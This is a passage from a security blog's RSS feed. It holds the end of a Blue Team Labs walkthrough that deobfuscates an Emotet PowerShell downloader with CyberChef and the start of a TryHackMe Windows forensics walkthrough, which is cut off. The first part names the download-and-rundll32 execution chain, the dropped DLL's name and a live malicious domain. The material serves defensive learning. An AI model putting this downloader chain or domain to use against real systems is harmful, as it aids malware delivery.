our CyberChef recipe to decode the correct file path structure.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;c8662d6b90eca4453fa5c9768454c33b_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;422px&#34; data-flex-grow=&#34;176&#34; height=&#34;454&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-malicious-powershell-analysis-walkthrough/c8662d6b90eca4453fa5c9768454c33b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Identifying the directory variable&lt;/p&gt;&#xA;&lt;p&gt;If we look at the end of the variable, we can see the string &lt;code&gt;UOH&lt;/code&gt;. Highlighting this reveals several instances in the same line. What if we replace this string with &lt;code&gt;\&lt;/code&gt; instead? Apply another “Find / Replace” to see the results.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;f76662eafb5da8b15cee40f1004a15c6_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;423px&#34; data-flex-grow=&#34;176&#34; height=&#34;453&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-malicious-powershell-analysis-walkthrough/f76662eafb5da8b15cee40f1004a15c6_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Identifying the string to replace&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;f4cfd05adf337f074c95530d0d1bc922_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;439px&#34; data-flex-grow=&#34;183&#34; height=&#34;437&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-malicious-powershell-analysis-walkthrough/f4cfd05adf337f074c95530d0d1bc922_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Applying a second Find/Replace operation&lt;/p&gt;&#xA;&lt;p&gt;Once we perform this replacement, we can see a clear file path declared by the variable. Let’s check our work and move on to the next question.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;9df923d41788c5b52e46b758eabdc993_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1714px&#34; data-flex-grow=&#34;714&#34; height=&#34;112&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-malicious-powershell-analysis-walkthrough/9df923d41788c5b52e46b758eabdc993_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-what-file-is-being-downloaded-fullname&#34;&gt;Question 3: What file is being downloaded (full name)?&#xA;&lt;/h3&gt;&lt;p&gt;Now that we’ve uncovered the directory the script creates, we’ll need to identify the name of the file it downloads. To locate this information, let’s search for clues in the script that point toward download activity. We can find this toward the bottom of the script in the &lt;code&gt;[SysTem.nEt.WEBcLIeNT.doWNlOaDFIle](https://learn.microsoft.com/en-us/dotnet/api/system.net.webclient?view=net-9.0)&lt;/code&gt; method, which is used to download data from a URI resource to a file — in this case, the URIs we decoded earlier.&lt;/p&gt;&#xA;&lt;p&gt;At the end of the line, notice the reference to the variable &lt;code&gt;$Imd1yck&lt;/code&gt;. This is the same variable that contains the directory we identified in the previous question.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;f0938966d40b09c9f87a49d18c18a2b2_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;424px&#34; data-flex-grow=&#34;176&#34; height=&#34;452&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-malicious-powershell-analysis-walkthrough/f0938966d40b09c9f87a49d18c18a2b2_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Identifying DownloadFile activity in the script&lt;/p&gt;&#xA;&lt;p&gt;Going back to the previous question, at the end of the line, we will see the file extension &lt;code&gt;.dll&lt;/code&gt; appended to a variable, indicating the downloaded file. Highlighting the file name variable, we are shown another location in the script where the variable is declared, and we can see the data it contains — this is the file name we are searching for to answer &lt;strong&gt;Question 3.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;62aabd3f42d5e23353f452b4fd2620ff_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;438px&#34; data-flex-grow=&#34;182&#34; height=&#34;438&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-malicious-powershell-analysis-walkthrough/62aabd3f42d5e23353f452b4fd2620ff_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Identifying the name of the downloaded file&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;b52d93820f17f8be645e6a70a7c78073_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1511px&#34; data-flex-grow=&#34;629&#34; height=&#34;127&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-malicious-powershell-analysis-walkthrough/b52d93820f17f8be645e6a70a7c78073_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-what-is-used-to-execute-the-downloaded-file&#34;&gt;Question 4: What is used to execute the downloaded file?&#xA;&lt;/h3&gt;&lt;p&gt;To determine how the &lt;code&gt;A69S.dll&lt;/code&gt; file is executed, we need to look for another method in the script that executes this file. To find it, highlight the variable name &lt;code&gt;$Imd1yck&lt;/code&gt;, which indicates the file path. Performing this action highlights all instances in the CyberChef output.&lt;/p&gt;&#xA;&lt;p&gt;Let’s look more closely at the last hit where we can see &lt;code&gt;rundll32&lt;/code&gt; being used to execute the downloaded file (&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1218/011/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;T1218.001&lt;/a&gt;).&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;ffff5f86fdbb32b82c8532190d5cc8d5_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;424px&#34; data-flex-grow=&#34;176&#34; height=&#34;452&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-malicious-powershell-analysis-walkthrough/ffff5f86fdbb32b82c8532190d5cc8d5_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Identifying rundll32&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;479a37dada96ba12c50fc1c04ab7a5fb_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1548px&#34; data-flex-grow=&#34;645&#34; height=&#34;124&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-malicious-powershell-analysis-walkthrough/479a37dada96ba12c50fc1c04ab7a5fb_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-what-is-the-domain-name-of-the-uri-ending-in-6f2gd&#34;&gt;Question 5: What is the domain name of the URI ending in ‘/6F2gd/’&#xA;&lt;/h3&gt;&lt;p&gt;To answer &lt;strong&gt;Question 5&lt;/strong&gt;, we’ll need to locate the domain name of a specific URI. Since we have already done the legwork and deobfuscated the URLs, we can leverage the “Find” function within CyberChef:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Click anywhere inside of the “Output” window.&lt;/li&gt;&#xA;&lt;li&gt;Press &lt;code&gt;Ctrl+F&lt;/code&gt; to bring up the search box.&lt;/li&gt;&#xA;&lt;li&gt;Enter &lt;code&gt;/6F2gd/&lt;/code&gt; in the search box to identify the domain.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;c20692420046cb5ad8352e2856037388_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;437px&#34; data-flex-grow=&#34;182&#34; height=&#34;439&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-malicious-powershell-analysis-walkthrough/c20692420046cb5ad8352e2856037388_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Identifying the domain name for the specified URI&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;95947411e70d09e00a742eea281aad0d_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1684px&#34; data-flex-grow=&#34;701&#34; height=&#34;114&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-malicious-powershell-analysis-walkthrough/95947411e70d09e00a742eea281aad0d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-6-based-on-the-analysis-of-the-obfuscated-code-what-is-the-name-of-themalware&#34;&gt;Question 6: Based on the analysis of the obfuscated code, what is the name of the malware?&#xA;&lt;/h3&gt;&lt;p&gt;We’ve made it to the last question. Our final task is to correlate all the evidence we’ve discovered in the script to figure out the name of the malware. To do this, let’s start with the domain we discovered in the last question and pivot to some external threat intelligence services for further investigation.&lt;/p&gt;&#xA;&lt;p&gt;We’ll start with &lt;a class=&#34;link&#34; href=&#34;https://urlhaus.abuse.ch/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;URLhaus&lt;/strong&gt;&lt;/a&gt;, a platform offered by cyber threat intelligence provider &lt;a class=&#34;link&#34; href=&#34;https://abuse.ch/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;abuse.ch&lt;/a&gt; that is “&lt;em&gt;dedicated to sharing malicious URLs that are being used for malware distribution,”&lt;/em&gt; and search the database for the domain name we found in &lt;strong&gt;Question 5&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;b90a784f237110fb9d277dfba237d789_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;500px&#34; data-flex-grow=&#34;208&#34; height=&#34;384&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-malicious-powershell-analysis-walkthrough/b90a784f237110fb9d277dfba237d789_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://urlhaus.abuse.ch/browse.php?search=wm.mcdevelop.net&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://urlhaus.abuse.ch/browse.php?search=wm.mcdevelop.net&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Following our search, we have a hit! We can see in the “tags” area that this domain is associated with the &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/software/S0367/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Emotet&lt;/strong&gt;&lt;/a&gt; malware family.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;73df9a25848e8240b7e5351e56f99646_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;405px&#34; data-flex-grow=&#34;168&#34; height=&#34;474&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-malicious-powershell-analysis-walkthrough/73df9a25848e8240b7e5351e56f99646_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://urlhaus.abuse.ch/url/948889/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://urlhaus.abuse.ch/url/948889/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;This is enough data to determine the malware family name we are searching for to complete the challenge. Now let’s wrap up this investigation!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;70ecba513d834a35c3afd05f4e75821b_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1548px&#34; data-flex-grow=&#34;645&#34; height=&#34;124&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-malicious-powershell-analysis-walkthrough/70ecba513d834a35c3afd05f4e75821b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;img alt=&#34;2e89e91fafd66f7c7bc9719ffb80ec8c_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;335px&#34; data-flex-grow=&#34;139&#34; height=&#34;573&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-malicious-powershell-analysis-walkthrough/2e89e91fafd66f7c7bc9719ffb80ec8c_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;There we have it — mission accomplished! Using CyberChef, we decoded and deobfuscated the malicious PowerShell script. By analyzing its contents, we determined the methods the script uses, URL it contacts, and the files the script downloads as a second stage. Then, using URLhaus, we pieced together the evidence to identify the malware as Emotet. Throughout the investigation, we referenced MITRE ATT&amp;amp;CK and Microsoft Learn to better understand how the script operates, giving us a comprehensive view of the attack.&lt;/p&gt;&#xA;&lt;p&gt;Now that we’ve scoped the attack and completed our objectives, let’s close out this walkthrough of the &lt;a class=&#34;link&#34; href=&#34;https://blueteamlabs.online/home/challenge/malicious-powershell-analysis-bf6b52faef&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Malicious PowerShell Analysis&lt;/strong&gt;&lt;/a&gt; challenge!&lt;/p&gt;&#xA;&lt;p&gt;A big thank you to &lt;a class=&#34;link&#34; href=&#34;https://blueteamlabs.online/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Blue Team Labs Online&lt;/strong&gt;&lt;/a&gt; for another engaging and challenging lab scenario. I chose this challenge to practice with CyberChef and keep my skills up to date. While I don’t often manually analyze scripts in my day job, it’s an essential skill to have in your toolkit to build confidence during incident response engagements, especially if you don’t have access to more advanced tools that can assist in your analysis. Awesome stuff!&lt;/p&gt;&#xA;&lt;p&gt;Thanks for your support and partnering on this investigation. If you found this walkthrough helpful, don’t forget to &lt;strong&gt;give it a clap&lt;/strong&gt;! Your feedback really is invaluable and it pumps me up to support your security journey. Cybersecurity is a team sport and we’re in this together!&lt;/p&gt;&#xA;&lt;p&gt;Until next week’s challenge — stay curious and be safe out there!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;07670987b1c64247f60a1576b9626235_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;250&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-malicious-powershell-analysis-walkthrough/07670987b1c64247f60a1576b9626235_MD5.png&#34; width=&#34;250&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;REMnux:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://remnux.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://remnux.org/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://blueteamlabs.online/home/challenge/malicious-powershell-analysis-bf6b52faef&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://blueteamlabs.online/home/challenge/malicious-powershell-analysis-bf6b52faef&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Notepad++&lt;/strong&gt;: &lt;a class=&#34;link&#34; href=&#34;https://notepad-plus-plus.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://notepad-plus-plus.org/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — Obfuscated Files or Information: Command Obfuscation ( T1027.010):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1027/010/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1027/010/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;CyberChef:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://gchq.github.io/CyberChef/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://gchq.github.io/CyberChef/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Learn — WebClient Class:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/dotnet/api/system.net.webclient?view=net-9.0&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;WebClient Class (System.Net) | Microsoft Learn&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — System Binary Proxy Execution: Rundll32 ( T1218.011):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1218/011/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;System Binary Proxy Execution: Rundll32, Sub-technique T1218.011 — Enterprise | MITRE ATT&amp;amp;CK®&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;URLhaus:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://urlhaus.abuse.ch/browse.php?search=wm.mcdevelop.net&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://urlhaus.abuse.ch/browse.php?search=wm.mcdevelop.net&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — Software: Emotet ( S0367):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/software/S0367/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/software/S0367/&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>TryHackMe  —  Investigating Windows Challenge Walkthrough</title>
            <link>https://stumblesec.com/posts/tryhackme-investigating-windows-challenge-walkthrough/</link>
            <pubDate>Sun, 30 Mar 2025 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/tryhackme-investigating-windows-challenge-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/tryhackme-investigating-windows-challenge-walkthrough/30c68864a88586684d8601e229909247_MD5.png&#34; alt=&#34;Featured image of post TryHackMe  —  Investigating Windows Challenge Walkthrough&#34; /&gt;&lt;h3 id=&#34;tryhackmeinvestigating-windows-challenge-walkthrough&#34;&gt;TryHackMe — Investigating Windows Challenge Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;a-windows-endpoint-forensic-investigation-using-event-viewer-powershell-and-virustotal&#34;&gt;A Windows endpoint forensic investigation using Event Viewer, PowerShell, and VirusTotal&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img alt=&#34;30c68864a88586684d8601e229909247_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;400&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-investigating-windows-challenge-walkthrough/30c68864a88586684d8601e229909247_MD5.png&#34; width=&#34;400&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/room/investigatingwindows&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://tryhackme.com/room/investigatingwindows&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;If you’ve stumbled across this blog searching for a comprehensive walkthrough of the &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/room/investigatingwindows&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Investigating Windows&lt;/strong&gt;&lt;/a&gt; challenge from &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;TryHackMe&lt;/strong&gt;&lt;/a&gt;, you’re in the right place. &lt;strong&gt;Welcome to my weekly walkthrough!&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/room/investigatingwindows&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Investigating Windows&lt;/strong&gt;&lt;/a&gt; is the first in a series of rooms within TryHackMe’s &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/module/investigations&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Investigating Windows module&lt;/a&gt;, and completing all three earns you a fancy badge on the platform. In the spirit of learning, this walk through will avoid spoilers. Since this is a &lt;em&gt;FREE&lt;/em&gt; room, anyone can test their skills with &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/room/investigatingwindows&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Investigating Windows&lt;/strong&gt;&lt;/a&gt;, perform the investigation along with me, and find the answers on their own as an entry point to Windows forensics.&lt;/p&gt;&#xA;&lt;p&gt;In this scenario, we’re turned loose to investigate a compromised Windows endpoint and need to sleuth out how the attack unfolded. The tricky part? We’ll have no tools available to us, so we’ll hunt for the artifacts manually using the Windows Event Logs, Task Scheduler, Registry, and File Explorer. This is a great “back to basics” jumping-off point into digital forensics and incident response (DFIR) in the Windows world, with something interesting for all skill levels.&lt;/p&gt;&#xA;&lt;p&gt;As we collect evidence, we’ll enrich our findings using &lt;strong&gt;MITRE ATT&amp;amp;CK, Microsoft Learn,&lt;/strong&gt; and &lt;strong&gt;VirusTotal&lt;/strong&gt; to add additional context and learn more about the attacker’s tactics and techniques. Sounds like fun, right? Let’s get into it!&lt;/p&gt;&#xA;&lt;p&gt;And if you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or serves as a handy reference — please give it a clap and consider following me for more content like this.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for reading and going on this investigation with me!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;A windows machine has been hacked, its your job to go investigate this windows machine and find clues to what the hacker might have done.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;This is a challenge that is exactly what is says on the tin, there are a few challenges around investigating a windows machine that has been previously compromised.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;question-1-whats-the-version-and-year-of-the-windowsmachine&#34;&gt;Question 1: Whats the version and year of the windows machine?&#xA;&lt;/h3&gt;&lt;p&gt;To kick off our investigation, we need to identify the operating system details of the compromised device. Specifically, we need to determine the Windows version. One approach is to use the &lt;code&gt;winver&lt;/code&gt; command. This can be executed from the “Run” box, or the Command Prompt.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Using the Run dialog box:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Press &lt;code&gt;Win + R&lt;/code&gt; to open the Run dialog box.&lt;/li&gt;&#xA;&lt;li&gt;Type &lt;code&gt;winver&lt;/code&gt; and press &lt;code&gt;Enter&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Using the Command Prompt:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Open the Command Prompt by typing &lt;code&gt;cmd&lt;/code&gt; in the search bar and pressing &lt;code&gt;Enter&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Type &lt;code&gt;winver&lt;/code&gt; and press &lt;code&gt;Enter&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;The resulting output will display the below information, where we can collect the Windows version information for the environment.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;98835ddec28b08e675c94530f6dfb092_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;270px&#34; data-flex-grow=&#34;112&#34; height=&#34;405&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-investigating-windows-challenge-walkthrough/98835ddec28b08e675c94530f6dfb092_MD5.png&#34; width=&#34;457&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Winver Output&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;9bddd7171cd6459de9c0fd3adab87284_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1939px&#34; data-flex-grow=&#34;808&#34; height=&#34;99&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-investigating-windows-challenge-walkthrough/9bddd7171cd6459de9c0fd3adab87284_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-which-user-logged-inlast&#34;&gt;Question 2: Which user logged in last?&#xA;&lt;/h3&gt;&lt;p&gt;Now that we’ve identified the operating system version, we need to audit the logon activity for the system. For this walkthrough, we’ll use the &lt;strong&gt;Windows Event Log&lt;/strong&gt; to query successful logon events, specifically filtering &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4624&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Event ID&lt;/strong&gt;&lt;/a&gt; &lt;strong&gt;4624 — “An account was successfully logged on.”&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;To do this:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Open Event Viewer:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Press the Windows Start button and type “Event Viewer.”&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;ol start=&#34;2&#34;&gt;&#xA;&lt;li&gt;Navigate to Security Logs:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;In the Event Viewer, expand “Windows Logs” and select “Security”.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;ol start=&#34;3&#34;&gt;&#xA;&lt;li&gt;Filter for Logon 